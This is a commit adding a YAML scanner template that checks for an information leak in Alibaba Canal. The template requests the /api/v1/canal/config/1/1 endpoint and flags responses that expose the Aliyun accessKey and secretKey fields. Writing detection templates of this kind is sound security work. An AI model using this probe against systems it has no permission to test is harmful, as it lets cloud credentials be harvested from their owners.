Create alibaba-canal-info-leak.yaml
parent
18bc1f9058
commit
a2ffd5579b
|
@ -0,0 +1,33 @@
|
|||
id: Alibaba-Canal-Info-Leak
|
||||
|
||||
info:
|
||||
name: Alibaba Canal Info Leak
|
||||
author: pikpikcu
|
||||
severity: info
|
||||
|
||||
# https://github.com/alibaba/canal/issues/632
|
||||
# https://netty.io/wiki/reference-counted-objects.html
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/api/v1/canal/config/1/1"
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "application/json"
|
||||
condition: and
|
||||
part: header
|
||||
- type: word
|
||||
words:
|
||||
- "ncanal.aliyun.accessKey"
|
||||
- "ncanal.aliyun.secretKey"
|
||||
condition: and
|
||||
part: body
|
Loading…
Reference in New Issue